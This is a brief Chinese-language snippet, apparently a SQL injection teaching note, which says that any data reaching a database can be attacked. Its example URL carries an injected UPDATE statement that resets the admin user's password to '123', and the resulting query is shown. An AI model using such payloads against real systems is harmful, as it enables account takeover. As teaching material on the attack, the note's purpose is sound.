可以传递到数据库的数据都是攻击对象 示例 http://www.zpedu.com/showdetail.asp?id=49 And (update user set passwd=‘123’ where username=‘admin’);-- Select * from 表名 where 字段=’49’ And (update user set passwd=‘123’ where username=‘admin’);